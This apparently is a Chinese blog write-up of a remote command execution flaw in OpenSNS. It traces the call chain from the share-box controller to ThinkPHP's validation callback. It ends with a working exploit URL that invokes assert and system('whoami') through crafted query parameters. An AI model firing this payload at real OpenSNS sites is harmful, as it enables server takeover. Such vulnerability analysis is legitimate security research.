OpenSNS 远程执行任意命令漏洞

OpenSNS 远程执行任意命令漏洞



一、复现步骤

1.触发条件

代码位于:/Application/Weibo/Controller/ShareController.class.php

    public function shareBox(){
        $query = urldecode(I('get.query','','text'));
        parse_str($query,$array);
        $this->assign('query',$query);
        $this->assign('parse_array',$array);
        $this->display(T('Weibo@default/Widget/share/sharebox'));
    }

这段代码的目的是处理传递的查询参数,将其解码并存储为模板变量,然后显示一个特定的分享框视图。这个分享框可能用于在Web应用程序中分享内容或执行其他相关的操作。

进到:Application/Weibo/View/default/Widget/share/sharebox.html

{:W('Weibo/Share/fetchShare',array('param'=>$parse_array))}

这行代码的目的可能是执行某个操作,可能是获取一些与分享相关的信息或数据,然后将其传递给名为 ‘Weibo/Share/fetchShare’ 的处理器或控制器来处理。

进到:ThinkPHP/Common/functions.php

function W($name, $data = array())
{
    R($name, $data, 'Widget');
}

function R($url, $vars = array(), $layer = '')
{
    $info = pathinfo($url);
    $action = $info['basename'];
    $module = $info['dirname'];
    $class = A($module, $layer);
    if ($class) {
        if (is_string($vars)) {
            parse_str($vars, $vars);
        }
        return call_user_func_array(array(&$class, $action . C('ACTION_SUFFIX')), $vars);
    } else {
        return false;
    }
}

W方法把参数给了R这个函数的主要目的是解析 $url,从中提取出控制器、操作和模块信息,并根据这些信息实例化相应的控制器类。然后,它使用 call_user_func_array() 函数来调用控制器的指定操作,并将传递的参数 $vars 作为参数传递给这个操作。

再到:/Weibo/Widget/ShareWidget.class.php 里看 fetchShare

    public function fetchShare($param, $weibo = null)
    {
        $this->assginFetch($param, $weibo = null);
        $this->display(T('Weibo@default/Widget/share/fetchshare'));
    }

    private function assginFetch($param, $weibo = null)
    {
        if ($weibo) {
            $this->assign('weibo', $weibo);
        }
        $show = D('Weibo/Share')->getInfo($param);
        $show=array_merge($show, $param);
        $this->assign('show', $show);
    }

这两个方法似乎用于获取分享信息并将其存储在模板变量中,以便后续在视图中显示。其中,fetchShare 方法是公共方法,用于对外提供获取分享信息和显示视图的功能,而 assginFetch 方法是私有方法,用于具体处理数据获取和赋值的逻辑。

再转到:Thinkphp/common/function.php 看D方法

function D($name = '', $layer = '')
{
    if (empty($name)) return new Think\Model;
    static $_model = array();
    $layer = $layer ? : C('DEFAULT_M_LAYER');
    if (isset($_model[$name . $layer]))
        return $_model[$name . $layer];
    $class = parse_res_name($name, $layer);
    if (class_exists($class)) {
        $model = new $class(basename($name));
    } elseif (false === strpos($name, '/')) {
        // 自动加载公共模块下面的模型
        if (!C('APP_USE_NAMESPACE')) {
            import('Common/' . $layer . '/' . $class);
        } else {
            $class = '\\Common\\' . $layer . '\\' . $name . $layer;
        }
        $model = class_exists($class) ? new $class($name) : new Think\Model($name);
    } else {
        \Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
        $model = new Think\Model(basename($name));
    }
    $_model[$name . $layer] = $model;
    return $model;
}

这个函数用于动态实例化模型对象,根据提供的模型名称和层信息,具体实例化哪个模型类由传入的参数和自动加载机制决定。

再到:Application/Weibo/Model/ShareModel.class.php 看getInfo

    public function getInfo($param)
    {
        $info = array();
        if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
            $info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
        }

        return $info;
    }

这个方法的目的主要是根据传入的参数动态获取特定信息。要保证$param里有app、model、method

2.触发方法

在:ThinkPHP/Library/Think/Model.class.php 里看 _validationFieldItem

protected function _validationFieldItem($data, $val)
    {
        switch (strtolower(trim($val[4]))) {
            case 'function': // 使用函数进行验证
            case 'callback': // 调用方法进行验证
                $args = isset($val[6]) ? (array)$val[6] : array();
                if (is_string($val[0]) && strpos($val[0], ','))
                    $val[0] = explode(',', $val[0]);
                if (is_array($val[0])) {
                    // 支持多个字段验证
                    foreach ($val[0] as $field)
                        $_data[$field] = $data[$field];
                    array_unshift($args, $_data);
                } else {
                    array_unshift($args, $data[$val[0]]);
                }
                if ('function' == $val[4]) {
                    return call_user_func_array($val[1], $args);
                } else {
                    return call_user_func_array(array(&$this, $val[1]), $args);
                }
            case 'confirm': // 验证两个字段是否相同
                return $data[$val[0]] == $data[$val[1]];
            case 'unique': // 验证某个值是否唯一
                if (is_string($val[0]) && strpos($val[0], ','))
                    $val[0] = explode(',', $val[0]);
                $map = array();
                if (is_array($val[0])) {
                    // 支持多个字段验证
                    foreach ($val[0] as $field)
                        $map[$field] = $data[$field];
                } else {
                    $map[$val[0]] = $data[$val[0]];
                }
                $pk = $this->getPk();
                if (!empty($data[$pk]) && is_string($pk)) { // 完善编辑的时候验证唯一
                    $map[$pk] = array('neq', $data[$pk]);
                }
                if (isset($val[6]) && is_array($val[6])) { // 验证唯一时根据array查询(例:根据array('status'=>array('neq',-1))排除已删除数据
                    if (count($map) > 0) {
                        $map = array_merge($map, $val[6]);
                    } else {
                        $map = $val[6];
                    }
                }
                if ($this->where($map)->find()) return false;
                return true;
            default: // 检查附加规则
                return $this->check($data[$val[0]], $val[1], $val[4]);
        }
    }

这个方法里有个call_user_func_array,当参入的$val可控就能触发RCE

在/Application/Common/Model/ScheduleModel.class.php中有一个runSchedule方法可以利用

    public function runSchedule($schedule)
    {
        if ($schedule['status'] == 1) {
            $method = explode('->', $schedule['method']);
            parse_str($schedule['args'], $args);  //分解参数
            try {
                $return = D($method[0])->$method[1]($args, $schedule); //执行model中的方法
            } catch (\Exception $exception) {
                $return = false;
            }
            if ($return) {
                $log = '任务已运行,描述:' . $schedule['intro'];
            } else {
                $log = '任务运行失败,描述:' . $schedule['intro'];
            }
            $this->writeLog($schedule['id'], $log);
        }
        return true;
    }

这个方法的目的是运行计划任务,并记录任务执行的结果,以便后续跟踪和管理。计划任务的具体逻辑和执行方式依赖于传入的 $schedule 数据和模型方法的实现。


总结

提示:status必须等于1,值里必须要app、model、method

payload:

/index.php?s=weibo/Share/shareBox
&query=app=Common%26
model=Schedule%26
method=runSchedule%26
id[status]=1%26
id[method]=Schedule->_validationFieldItem%26
id[4]=function%26
[2][]=%26
id[0]=cmd%26
id[1]=assert%26
id[args]=cmd=system("whoami")
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值